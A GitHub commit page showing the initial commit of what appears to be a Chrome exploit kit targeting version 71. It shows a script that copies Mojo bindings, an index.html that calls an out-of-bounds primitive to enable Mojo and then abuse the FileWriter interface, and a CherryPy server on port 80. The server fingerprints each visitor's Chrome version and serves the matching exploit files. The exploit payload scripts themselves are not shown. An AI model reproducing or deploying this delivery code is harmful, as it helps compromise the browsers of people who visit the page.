Skip to content

Commit 84f0c2f

Browse files
CreatePhotonWCreatePhotonW
CreatePhotonW
authored and
CreatePhotonW
committed
init commit
1 parent aa87c24 commit 84f0c2f

36 files changed

+25168
-0
lines changed

‎copy_needed_bindings.py

+63
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
#! /usr/bin/python
2+
3+
import jsmin
4+
import os
5+
import re
6+
import shutil
7+
import sys
8+
9+
version = '71.0.3578.98'
10+
11+
needed_bindings = [
12+
'components/services/filesystem/public/interfaces/types.mojom.js',
13+
14+
'mojo/public/js/mojo_bindings.js',
15+
16+
'mojo/public/mojom/base/big_buffer.mojom.js',
17+
'mojo/public/mojom/base/file.mojom.js',
18+
'mojo/public/mojom/base/file_error.mojom.js',
19+
'mojo/public/mojom/base/file_path.mojom.js',
20+
'mojo/public/mojom/base/file_info.mojom.js',
21+
'mojo/public/mojom/base/string16.mojom.js',
22+
'mojo/public/mojom/base/time.mojom.js',
23+
'mojo/public/mojom/base/unguessable_token.mojom.js',
24+
25+
'services/network/public/mojom/data_pipe_getter.mojom.js',
26+
'services/network/public/mojom/http_request_headers.mojom.js',
27+
'services/network/public/mojom/mutable_network_traffic_annotation_tag.mojom.js',
28+
'services/network/public/mojom/network_param.mojom.js',
29+
'services/network/public/mojom/url_loader.mojom.js',
30+
'services/network/public/mojom/url_loader_factory.mojom.js',
31+
32+
'third_party/blink/public/mojom/blob/blob.mojom.js',
33+
'third_party/blink/public/mojom/blob/blob_registry.mojom.js',
34+
'third_party/blink/public/mojom/blob/blob_url_store.mojom.js',
35+
'third_party/blink/public/mojom/blob/data_element.mojom.js',
36+
'third_party/blink/public/mojom/blob/serialized_blob.mojom.js',
37+
38+
'third_party/blink/public/mojom/filesystem/file_system.mojom.js',
39+
'third_party/blink/public/mojom/filesystem/file_writer.mojom.js',
40+
41+
'url/mojom/origin.mojom.js',
42+
'url/mojom/url.mojom.js',
43+
]
44+
45+
def minify(src_path, dst_path):
46+
data = ''
47+
with open(src_path, 'r') as tmp:
48+
#data = jsmin.jsmin(tmp.read())
49+
data = tmp.read()
50+
with open(dst_path, 'w') as tmp:
51+
tmp.write(data)
52+
53+
src_base = '/ssd/chrome_{}/src/out/Release/gen'.format(version)
54+
src_base = '/ssd/exploits_new/chrome/file_writer/winrel'
55+
dst_base = './win_{}/'.format(version)
56+
for file in needed_bindings:
57+
src_path = os.path.join(src_base, file)
58+
dst_path = os.path.join(dst_base, file)
59+
try:
60+
os.makedirs(os.path.dirname(dst_path))
61+
except:
62+
pass
63+
minify(src_path, dst_path)

‎index.html

+70
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,70 @@
1+
<html>
2+
<body>
3+
<pre id='log'></pre>
4+
<script>
5+
var keep = [];
6+
7+
function print(string) {
8+
var log = document.getElementById('log');
9+
if (log) {
10+
log.innerText += string + '\n';
11+
}
12+
}
13+
14+
function hex(value, count) {
15+
const alphabet = '0123456789abcdef';
16+
var result = '';
17+
for (var i = (count / 4) - 1; i >= 0; --i) {
18+
result += alphabet[(value >> (i * 4)) & 0xf];
19+
}
20+
return result;
21+
}
22+
23+
function hexdump(view, base=0n) {
24+
output = '';
25+
ascii = '';
26+
for (var i = 0; i < view.byteLength; ++i) {
27+
if (i % 16 == 0) {
28+
output += (base + BigInt(i)).toString(16) + ': ';
29+
}
30+
byte = view.getUint8(i);
31+
output += hex(byte, 8) + ' ';
32+
if (0x20 <= byte && byte <= 0x7e) {
33+
ascii += String.fromCharCode(byte);
34+
} else {
35+
ascii += '.';
36+
}
37+
38+
if (i % 16 == 15) {
39+
output += ' ' + ascii + '\n';
40+
ascii = '';
41+
}
42+
}
43+
44+
if (i % 16 != 15) {
45+
for (var j = i % 16; j < 16; ++j) {
46+
output += ' ';
47+
}
48+
output += ' ' + ascii + '\n';
49+
}
50+
51+
return output;
52+
}
53+
</script>
54+
<script src="/mojo/public/js/mojo_bindings.js"></script>
55+
<script src="/third_party/blink/public/mojom/blob/blob_registry.mojom.js"></script>
56+
<script src="/third_party/blink/public/mojom/filesystem/file_system.mojom.js"></script>
57+
<script src="/many_args.js"></script>
58+
<script src="/pe64.js"></script>
59+
<script src="/enable_mojo.js"></script>
60+
<script src="/file_writer.js"></script>
61+
<script>
62+
let oob = new many_args();
63+
if (typeof(Mojo) !== "undefined") {
64+
file_writer(oob);
65+
} else {
66+
enable_mojo(oob);
67+
}
68+
</script>
69+
</body>
70+
</html>

‎server.py

+47
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
import cherrypy
2+
import os
3+
import os.path
4+
import re
5+
6+
def chrome_version():
7+
ua = cherrypy.request.headers['User-Agent']
8+
match = re.search('Mozilla\/5\.0 \(X11; Linux x86_64\) AppleWebKit\/\d+\.\d+ \(KHTML, like Gecko\) Chrome\/(\d+\.\d+\.\d+\.\d+) Safari\/\d+\.\d+', ua)
9+
if match is not None:
10+
return match.group(1)
11+
match = re.search('Mozilla\/5\.0 \(Windows NT 10\.0; Win64; x64\) AppleWebKit\/\d+\.\d+ \(KHTML, like Gecko\) Chrome\/(\d+\.\d+\.\d+\.\d+) Safari\/\d+\.\d+', ua)
12+
if match is not None:
13+
return 'win_' + match.group(1)
14+
15+
def chrome_version_path(path):
16+
return os.path.join('./', chrome_version(), path)
17+
18+
class Server(object):
19+
def _cp_dispatch(self, vpath):
20+
path = os.path.join(*vpath)
21+
cherrypy.request.params['file'] = path
22+
for i in range(len(vpath)):
23+
vpath.pop()
24+
return self
25+
26+
@cherrypy.expose()
27+
def index(self, file=None):
28+
version = chrome_version()
29+
if not os.path.isdir(version):
30+
return '<html><body><div>Chrome version {} not supported...</div></body></html>'.format(version)
31+
elif file is None:
32+
with open('index.html', 'r') as tmp:
33+
return tmp.read()
34+
else:
35+
with open(chrome_version_path(file), 'r') as tmp:
36+
return tmp.read()
37+
38+
cherrypy.config.update({
39+
'log.screen': False,
40+
'server.socket_port': int(80),
41+
#'server.socket_host':'127.0.0.1'
42+
'server.socket_host':'0.0.0.0'
43+
})
44+
45+
cherrypy.tree.mount(Server(), '/')
46+
cherrypy.engine.start()
47+
cherrypy.engine.block()

0 commit comments

Comments
 (0)